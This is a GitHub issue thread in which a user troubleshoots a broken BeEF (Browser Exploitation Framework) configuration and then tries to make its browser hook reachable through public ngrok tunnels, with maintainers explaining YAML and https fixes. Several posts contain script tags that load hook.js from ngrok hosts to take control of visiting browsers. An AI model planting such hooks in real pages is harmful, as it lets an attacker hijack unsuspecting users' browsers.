-
Notifications
You must be signed in to change notification settings - Fork 2.2k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
configuration.rb:202: undefined method `[]' for nil:NilClass (NoMethodError) #2367
Comments
Which version of BeEF?
Which version of Ruby?
This is usually caused by a malformed config file. Can you post your config file? Be sure to redact anything sensitive (like passwords and possibly hostnames) first. |
Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.netBrowser Exploitation Framework (BeEF) - http://beefproject.comSee the file 'doc/COPYING' for copying permissionBeEF Configuration filebeef:
host: "http://7464-197-221-212-40.ngrok.io"port: "3000" # public port will default to 80 if no https 443 if https
https: true # true/false
ruby version: ruby 2.7.4p191 (2021-07-07 revision a21a3b7d23) [x86_64-linux-gnu] latest beef version |
The config file is in YAML format. Whitespace is important. The |
Also, as far as I'm aware, the |
thank u so much, i just corrected that and got this little error now |
okay, ill remove the dns key now |
thank i remove the dns key but the error is still there |
Strange. There's no immediately obvious reason why this would fail. You could try removing these lines from |
sorry, but i dont see anything like this in config.yaml, where should i make the changes, under what configuration |
It's code in the |
after i deleted those lines, it shows this again |
Have you made any other changes to the config file apart from removing the I'm not sure how that key ended up in your config file in the first place. That error implies hat parsing the configuration file has failed. If you've made changes, can you post your config file again? Admittedly the error handling sucks. There's no indication of which key is causing the error. It is possible, although unlikely, that the error is triggered by a misconfigured file for one of the extensions. Have you modified any of the |
Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.netBrowser Exploitation Framework (BeEF) - http://beefproject.comSee the file 'doc/COPYING' for copying permissionBeEF Configuration filebeef:
no, i have not made any changes after i deleted the dns, and i added it from a tutorial i saw on youtube when the hook link wasnt working, beef was working fine before all of this, just the hook. pleaswe |
#!/usr/bin/env ruby Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.netBrowser Exploitation Framework (BeEF) - http://beefproject.comSee the file 'doc/COPYING' for copying permission@note stop Fixnum deprecation warning from being displayed$VERBOSE = nil @note Version check to ensure BeEF is running Ruby 2.7+min_ruby_version = '2.7' @note Platform check to ensure BeEF is not running on Windowsif RUBY_PLATFORM.downcase.include?('mswin') || RUBY_PLATFORM.downcase.include?('mingw') @note set load path, application root directory and user preferences directory$root_dir = File.join(File.expand_path(File.dirname(File.realpath(FILE))), '.') @note Require core loaderrequire 'core/loader' @note Ask user if they would like to update beefif File.exist?("#{$root_dir}git") && BeEF::Core::Console::CommandLine.parse[:update_disabled] == false @note Create ~/.beef/begin @note Initialize the Configuration object. Loads a different config.yaml if -c flag was passed.if BeEF::Core::Console::CommandLine.parse[:ext_config].empty? @note set log levelBeEF.logger.level = config.get('beef.debug') ? Logger::DEBUG : Logger::WARN @note Check the system language settings for UTF-8 compatibilityenv_lang = ENV['LANG'] @note Check if port and WebSocket port need to be updated from command line parametersunless BeEF::Core::Console::CommandLine.parse[:port].empty? unless BeEF::Core::Console::CommandLine.parse[:ws_port].empty? @note Exit on default credentialsif config.get("beef.credentials.user").eql?('beef') && config.get("beef.credentials.passwd").eql?('beef') @note Validate beef.http.public and beef.http.public_portunless config.get('beef.http.public.host').to_s.eql?('') || BeEF::Filters.is_valid_hostname?(config.get('beef.http.public.host')) unless config.get('beef.http.public.port').to_s.eql?('') || BeEF::Filters.is_valid_port?(config.get('beef.http.public.port')) @note After the BeEF core is loaded, bootstrap the rest of the framework internalsrequire 'core/bootstrap' @note Prints the BeEF ascii art if the -a flag was passedif BeEF::Core::Console::CommandLine.parse[:ascii_art] == true @note Prints BeEF welcome messageBeEF::Core::Console::Banners.print_welcome_msg @note Loads enabled extensionsBeEF::Extensions.load @note Loads enabled modulesBeEF::Modules.load @note Disable reverse DNSSocket.do_not_reverse_lookup = true @note Database setup@note Load the databasedb_file = config.get('beef.database.file') @note Resets the database if the -x flag was passedif BeEF::Core::Console::CommandLine.parse[:resetdb] Connect to DBActiveRecord::Base.logger = nil otr-activerecord require you to manually establish the connection with the following line#Also a check to confirm that the correct Gem version is installed to require it, likely easier for old systems. Migrate (if required)context = ActiveRecord::Migration.new.migration_context @note Extensions may take a moment to load, thus we print out a please wait messageprint_info 'BeEF is loading. Wait a few seconds...' @note Execute migration procedure, checks for new modulesBeEF::Core::Migration.instance.update_db! @note Create HTTP Server and prepare it to runhttp_hook_server = BeEF::Core::Server.instance @note Prints information back to the user before running the serverBeEF::Core::Console::Banners.print_loaded_extensions @note Prints the API key needed to use the RESTful APIprint_info "RESTful API key: #{BeEF::Core::Crypto::api_token}" @note Load the GeoIP databaseBeEF::Core::GeoIp.instance @note Call the API method 'pre_http_start'BeEF::API::Registrar.instance.fire(BeEF::API::Server, 'pre_http_start', http_hook_server) @note Load any ARE (Autorun Rule Engine) rules scanning the <beef_root>/arerules/enabled directoryBeEF::Core::AutorunEngine::RuleLoader.instance.load_directory @note Start the WebSocket serverif config.get("beef.http.websocket.enable") @note Start HTTP serverprint_info 'BeEF server started (press control+c to stop)' |
Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.netBrowser Exploitation Framework (BeEF) - http://beefproject.comSee the file 'doc/COPYING' for copying permissionmodule BeEF
end i made little changes to this configuration.rb too. please check them out, beef has been delaying my study for quite a while now |
I'm counting on you @bcoles |
Please use triple backticks to format code. It makes the code much easier to read.
I don't understand what that means, but if you've followed some random youtube tutorial and that broke things then that's probably the cause.
If you made "little changes" and now things are broken, and if this is really important to you and is holding you up, then I suggest cloning the repository again and making sure that works. If it works from a clean clone then the issue is clearly one of the changes you've made. |
Ok I see the problem. This wasn't in the config file the first time you posted it, but it is in your config file now: host: "http://7464-197-221-212-40.ngrok.io"
port: "3000" # public port will default to 80 if no https 443 if https
# and local if not set but there is a public host
https: true # true/false That is incorrect. The host: "7464-197-221-212-40.ngrok.io"
port: "3000" # public port will default to 80 if no https 443 if https
# and local if not set but there is a public host
https: true # true/false |
yes, thats exactly the problem, i wanted to add ngrok so the hook url can work because it shows internal server erro and doesnt hook the browser, im confused, if i want to use with ngrok, whats supposed to be in the host space? or if i have to delete those which ill do now, can you tell me how to make the hook url work pleaseeeeee |
|
Credentials to authenticate in BeEF.
see, i just made those lines into comments and i still have same error, since its comment now, its not supposed to have effect on the output of the code [ 0:01:06][!] Warning: System language $LANG '' does not appear to be UTF-8 compatible. |
or do you think i should sudo rm -r beef? and start all over again, if you would be here to help, i'll do it now |
Please format your code posts using triple backticks. I'm not going to reverse engineer your changes. It is really not clear what you're doing especially when you paste excerpts of configuration files, especially when the formatting of those files is important. There's way too many possibilities and it's way too hard to figure out what you've done when you've made "little changes" to core code like the I suggest making a backup of your repo. Create a fresh clone. Make changes one by one, and when it breaks you'll know what broke it. |
I'll be around intermittently for a while. It's probably a simple issue, it's just not easy to spot with partial files in poorly formatted markdown.
That... doesn't sound right.
|
beef configuration, complete |
config.yaml file |
Are you using beef from git ? Can you use diff files instead? It is much easier to reverse engineer whatever insane thing you've done. You can generate a diff like this:
Also, are you starting fresh? Is it working? Or are you trying to repair the existing repo? Also, that's the beef code, not the configuration file. |
configuration.rb |
where should i add the script to, beef configuration or config.yaml? Dont close this yet please |
The HTML must be executed in a web browser. Take a look at the demo page for an example. |
<script src="http://beef.local.ip.address.here:3000/hook.js"></script>
i know this is the html but where should i add it to, should i just save it in var/www/html folder? is that all i got to do? im so confused |
┌──(root💀surprise)-[/var/www/html] i already saved it under var/www/html, but it doesnt work, please help me understand |
<script src="http://beef.local.ip.address.here:3000/hook.js"></script> Add it wherever you like.
If you like.
You'll need to save it with a And you'll need to start which ever web server loads content from And then you'll need to load the page in a web browser.
It's not hard. Look at the demo page for an example.
What does "doesn't work" mean? For someone who wants help you make helping you extremely difficult. The BeEF hook is written in JavaScript. You can tell a browser to execute JavaScript by including it in Your browser has built in development tools which can help you diagnose issues. |
I'm so sorry if i have proved hard to work with, maybe because I'm still learning. <script type="text/javascript" src="http://3f79-197-221-213-143.ngrok.io:443/hook.js"></script> <script type="text/javascript">PORTAL_URL = 'http://www.google.com"></script>i already added the said script in the website i want to use for beef at /var/www/html but I'm still getting the bunch of JS codes, its not displaying the website interface just a bunch of code, thats it |
and yes i saved it as .html, do i have to do something with the config.yaml for the hook to work? |
There's your problem. <script type="text/javascript" src="http://3f79-197-221-213-143.ngrok.io:443/hook.js"></script> |
You're forcing BeEF prints the hook URL to terminal when it starts up. It should print something like this:
|
[17:06:37][] 309 modules enabled. those are the urlsin beef terminal, i should simply remove the port 443? |
i just tried to stop using ngrok until im sure it works, so i changed to my local IP, but i got this error, ./beef |
.html JS: <script type="text/javascript" src="http://127.0.0.1/hook.js"></script> config.yaml but i still cant access the hook url, i'm still doing something wrong. |
index.html script added: <script type="text/javascript" src="http://eab2-197-221-213-143.ngrok.io/hook.js"></script>URL in beef Terminal (UI panel works fine, but the hook.js still showing the JS code, thts the only error im facing now) My nano config.yaml public facing URL: I'm sorry for being a dick but i just havent found the solution, and i knw its still my problem |
|
i should change https to false? |
bro take a step back and think about what you're doing |
Your config file is fine. stop breaking things. The hook URL is https. Your script tag uses http. Use https. |
now this is my script <script type="text/javascript" src="https://eab2-197-221-213-143.ngrok.io/hook.js"></script>i have added https and remove the 443 port, but the hook.js still shows the bunch of code instead of the homepage |
The BeEF hook is written in JavaScript. It contains JavaScript. If you open it you will see JavaScript. Take a step back and think about what you're doing. You created a HTML page. You put a script tag in that HTML page. If you open that page the script will execute. |
it just throw this at me everytime, I'm sure its not linking to the webpage with the website i added the JS to because its been showing this bunch of code for several times even if i made changes to the webpage i want, it just throw this codes at me. its frustrating |
open the html page |
this opened because i opened it from the saved files, if i try the hook url, it doesnt open just those code |
Submit Issue
Verify first that your issue/request has not been posted previously:
Ensure you're using the latest version of BeEF.
Please do your best to provide as much information as possible. It will help substantially if you can enable and provide debugging logs with your issue. Instructions for enabling debugging logs are below:
config.yaml
file of your BeEF root folder set debug and client_debug (lines 11 & 13 respectively) totrue
beef-xss
the root folder will typically be/usr/share/beef-xss
~/.beef/beef.log
beef-xss
: Retrieve your service logs usingjournalctl -u beef-xss
Thank you, this will greatly aid us in identifying the root cause of your issue :)
If we request additional information and we don't hear back from you within a week, we will be closing the ticket off.
Feel free to open it back up if you continue to have issues.
Summary
Q: Please provide a brief summary of the issue that you experienced.
'./beef
[22:55:32][!] Fatal Error: cannot load configuration file '/home/surprise/beef/./config.yaml' : undefined method
get' for BeEF::Core::Configuration:Class Did you mean? gem [22:55:32][!] ["/home/surprise/beef/core/ruby/print.rb:39:in
print_debug'", "/home/surprise/beef/core/main/configuration.rb:49:inrescue in load'", "/home/surprise/beef/core/main/configuration.rb:43:in
load'", "/home/surprise/beef/core/main/configuration.rb:28:ininitialize'", "./beef:83:in
new'", "./beef:83:in<main>'"] Traceback (most recent call last): 4: from ./beef:91:in
3: from /home/surprise/beef/core/main/configuration.rb:201:in
get' 2: from /home/surprise/beef/core/main/configuration.rb:201:in
inject'1: from /home/surprise/beef/core/main/configuration.rb:201:in
each' /home/surprise/beef/core/main/configuration.rb:202:in
block in get': undefined method `[]' for nil:NilClass (NoMethodError)Environment
Please identify the environment in which your issue occurred.
BeEF Version:
Ruby Version: Ruby error I think
Browser Details (e.g. Chrome v81.0): Firefox
Operating System (e.g. OSX Catalina): Linux WSL on Windows 10
Configuration
Q: Have you made any changes to your BeEF configuration?
Yes
Q: Have you enabled or disabled any BeEF extensions?
A:
Expected vs. Actual Behaviour
Expected Behaviour:
for beef to start up
Actual Behaviour:
shows the above error
Steps to Reproduce
Please provide steps to reproduce this issue.
Additional Information
Please provide any additional information which may be useful in resolving this issue, such as debugging output and relevant screen shots. Debug output can be retrieved by following the instructions towards the top of the issue template.
it was working all fine but the hook url was showing internal server erro, so i decide to use ngrok with it, this is what i have been getting please
The text was updated successfully, but these errors were encountered: